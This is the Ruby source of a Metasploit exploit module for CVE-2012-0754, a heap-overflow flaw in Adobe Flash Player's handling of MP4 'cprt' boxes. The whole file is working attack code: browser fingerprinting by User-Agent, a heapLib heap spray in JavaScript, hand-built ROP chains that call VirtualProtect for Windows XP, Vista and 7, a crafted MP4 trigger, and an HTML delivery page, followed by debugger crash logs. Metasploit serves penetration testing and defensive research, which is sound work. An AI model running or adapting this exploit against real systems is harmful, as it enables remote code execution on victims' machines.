metasploit-framework/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:os_name    => OperatingSystems::WINDOWS,
		:vuln_test  => "GetVariable",
		:classid    => "ShockwaveFlash.ShockwaveFlash",
		:rank       => NormalRanking, # reliable memory corruption
		:javascript => true
	})

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Adobe Flash Player MP4 'cprt' Overflow",
			'Description'    => %q{
				This module exploits a vulnerability found in Adobe Flash Player.
				By supplying a corrupt .mp4 file loaded by Flash, it is possible to gain arbitrary
				remote code execution under the context of the user.

				This vulnerability has been exploited in the wild as part of the
				"Iran's Oil and Nuclear Situation.doc" e-mail attack.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Alexander Gavrun', # Vulnerability discovery
					'sinn3r',           # Metasploit module
					'juan vazquez'      # Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2012-0754' ],
					[ 'OSVDB', '79300'],
					[ 'BID', '52034' ],
					[ 'URL', 'http://contagiodump.blogspot.com/2012/03/mar-2-cve-2012-0754-irans-oil-and.html' ],
					[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-03.html' ]
				],
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00",
					'DisableNops' => true
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Flash Player 11.1.102.55
					# Flash Player 10.3.183.10
					[ 'Automatic', {} ],
					[
						'IE 6 on Windows XP SP3',
						{
							'Rop'    => nil,
							'Offset' => '0x800 - code.length',
							'Ret'    => 0x0c0c0c0c
						}
					],
					[
						'IE 7 on Windows XP SP3',
						{
							'Rop'    => nil,
							'Offset' => '0x800 - code.length',
							'Ret'    => 0x0c0c0c0c
						}
					],
					[
						'IE 8 on Windows XP SP3 with msvcrt ROP',
						{
							'Rop'    => :msvcrt,
							'Offset' => '0x5f4',
							'Ret'    => 0x77c15ed5,
							'ppr'    => 0x77C1CAFB
						}
					],
					[
						'IE 8 on Windows XP SP3 with JRE ROP',
						{
							'Rop'    => :jre,
							'Offset' => '0x5f4',
							'Ret'    => 0x77c15ed5,
							'ppr'    => 0x77C1CAFB
						}
					],
					[
						'IE 7 on Windows Vista',
						{
							'Rop'    => nil,
							'Offset' => '0x5f4',
							'Ret'    => 0x0c0c0c0c
						}
					],
					[
						'IE 8 on Windows 7 SP1',
						{
							'Rop'    => :jre,
							'Offset' => '0x5f4',
							'Ret'    => 0x7c348b05,
							'ppr'    => 0x7c34272e
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Feb 15 2012",
			'DefaultTarget'  => 0))
	end

	def junk(n=4)
		return rand_text_alpha(n).unpack("V").first
	end

	def nop
		return make_nops(4).unpack("V").first
	end

	def get_payload(t, cli)

		if t['Rop'].nil?
			code = ""
		else
			#Fix the stack to avoid anything busted
			code = "\x81\xC4\x54\xF2\xFF\xFF"
		end
		code << payload.encoded

		# No rop. Just return the payload.
		return code if t['Rop'].nil?

		# Both ROP chains generated by mona.py - See corelan.be
		case t['Rop']
		when :msvcrt
			print_status("#{cli.peerhost}:#{cli.peerport} - Using msvcrt ROP")
			exec_size = code.length
			rop =
			[
				0x77c4e392,  # POP EAX # RETN
				0x77c11120,  # <- *&VirtualProtect()
				0x77c2e493,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
				junk,
				0x77c2dd6c,
				0x77c4ec00,  # POP EBP # RETN
				0x77c35459,  # ptr to 'push esp #  ret'
				0x77c47705,  # POP EBX # RETN
				exec_size,   # EBX
				0x77c3ea01,  # POP ECX # RETN
				0x77c5d000,  # W pointer (lpOldProtect) (-> ecx)
				0x77c46100,  # POP EDI # RETN
				0x77c46101,  # ROP NOP (-> edi)
				0x77c4d680,  # POP EDX # RETN
				0x00000040,  # newProtect (0x40) (-> edx)
				0x77c4e392,  # POP EAX # RETN
				nop,         # NOPS (-> eax)
				0x77c12df9,  # PUSHAD # RETN
			].pack("V*")

		when :jre
			print_status("#{cli.peerhost}:#{cli.peerport} - Using JRE ROP")
			exec_size = 0xffffffff - code.length + 1
			rop =
			[
				0x7c37653d,  # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
				exec_size,   # Value to NEG
				0x7c347f98,  # RETN (ROP NOP)
				0x7c3415a2,  # JMP [EAX]
				0xffffffff,
				0x7c376402,  # skip 4 bytes
				0x7c351e05,  # NEG EAX # RETN
				0x7c345255,  # INC EBX # FPATAN # RETN
				0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
				0x7c344f87,  # POP EDX # RETN
				0xffffffc0,  # Value to negate, will become 0x00000040
				0x7c351eb1,  # NEG EDX # RETN
				0x7c34d201,  # POP ECX # RETN
				0x7c38b001,  # &Writable location
				0x7c347f97,  # POP EAX # RETN
				0x7c37a151,  # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
				0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN
				0x7c345c30,  # ptr to 'push esp #  ret '
			].pack("V*")
		end

		pivot  = [t['ppr']].pack('V*')  #POP/POP/RET
		pivot << [junk].pack('V*')
		pivot << [t.ret].pack('V*')

		code = pivot + rop + code
		return code
	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
			return targets[1]  #IE 6 on Windows XP SP3
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
			return targets[2]  #IE 7 on Windows XP SP3
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
			return targets[3]  #IE 8 on Windows XP SP3
		elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
			return targets[5]  #IE 7 on Windows Vista
		elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
			return targets[6]  #IE 8 on Windows Vista SP1 with JRE
		else
			return nil
		end
	end

	def exploit
		@swf = create_swf
		super

		#
		# "/test.mp4" is currently hard-coded in the swf file, so we need to add to resource
		#
		proc = Proc.new do |cli, req|
			on_request_uri(cli, req)
		end

		self.add_resource({'Path'=>'/test.mp4', 'Proc'=>proc})# rescue nil

	end

	def on_request_uri(cli, request)

		agent = request.headers['User-Agent']
		my_target = get_target(agent)

		# Avoid the attack if the victim doesn't have the same setup we're targeting
		if my_target.nil?
			print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
			send_not_found(cli)
			return
		end

		print_status("#{cli.peerhost}:#{cli.peerport} - Client requesting: #{request.uri}")

		# The SWF requests our MP4 trigger
		if request.uri =~ /\.mp4$/
			print_status("#{cli.peerhost}:#{cli.peerport} - Sending MP4...")
			mp4 = create_mp4(my_target)
			send_response(cli, mp4, {'Content-Type'=>'video/mp4'})
			return
		end

		if request.uri =~ /\.swf$/
			print_status("#{cli.peerhost}:#{cli.peerport} - Sending Exploit SWF...")
			send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })
			return
		end

		p = get_payload(my_target, cli)

		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))

		js_pivot = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");

		while (nops.length < 0x80000) nops += nops;
		var offset = nops.substring(0, #{my_target['Offset']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);

		heap_obj.gc();
		heap_obj.debug(true);
		for (var i=1; i < 0x1C2; i++) {
			heap_obj.alloc(block);
		}
		heap_obj.debug(true);
		JS

		js_pivot = heaplib(js_pivot, {:noobfu => true})

		swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
		swf_uri << "/#{rand_text_alpha(rand(6)+3)}.swf"

		html = %Q|
<html>
<head>
<script>
#{js_pivot}
</script>
</head>
<body>
<center>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
id="test" width="1" height="1"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="#{swf_uri}" />
<embed src="#{swf_uri}" quality="high"
width="1" height="1" name="test" align="middle"
allowNetworking="all"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer">
</embed>

</object>
</center>

</body>
</html>
		|

		html = html.gsub(/^\t\t/, '')

		print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
		send_response(cli, html, {'Content-Type'=>'text/html'})
	end

	def cleanup
		print_status("Removing mp4 resource")
		remove_resource('/test.mp4') rescue nil
		super
	end

	def create_swf
		path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0754.swf" )
		fd = ::File.open( path, "rb" )
		swf = fd.read(fd.stat.size)
		fd.close

		return swf
	end

	def create_mp4(target)
		mp4 = ""
		mp4 << "\x00\x00\x00\x18"
		mp4 << "ftypmp42"
		mp4 << "\x00\x00\x00\x00"
		mp4 << "mp42isom"
		mp4 << "\x00\x00\x00\x0D"
		mp4 << "cprt"
		mp4 << "\x00\xFF\xFF\xFF"
		mp4 << "\x00\x00\x00\x00"
		mp4 << "\x0c\x0c\x0c\x0c" * 2586

		return mp4
	end

end

=begin
C:\WINDOWS\system32\Macromed\Flash\Flash11e.ocx

(4b4.1d0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=00000000 ecx=0308b1a0 edx=00000004 esi=0308b1a0 edi=00000001
eip=027a2626 esp=0377fec0 ebp=0377ff0c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash11e.ocx -
Flash11e+0x52626:
027a2626 ff5008          call    dword ptr [eax+8]    ds:0023:0c0c0c14=????????

C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx

(510.9b4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=03e46810 ecx=0396b160 edx=00000004 esi=03e46cd4 edi=00000000
eip=10048b65 esp=0428fd10 ebp=0428feb4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx -
Flash10x+0x48b65:
10048b65 ff5008          call    dword ptr [eax+8]    ds:0023:0c0c0c14=????????
=end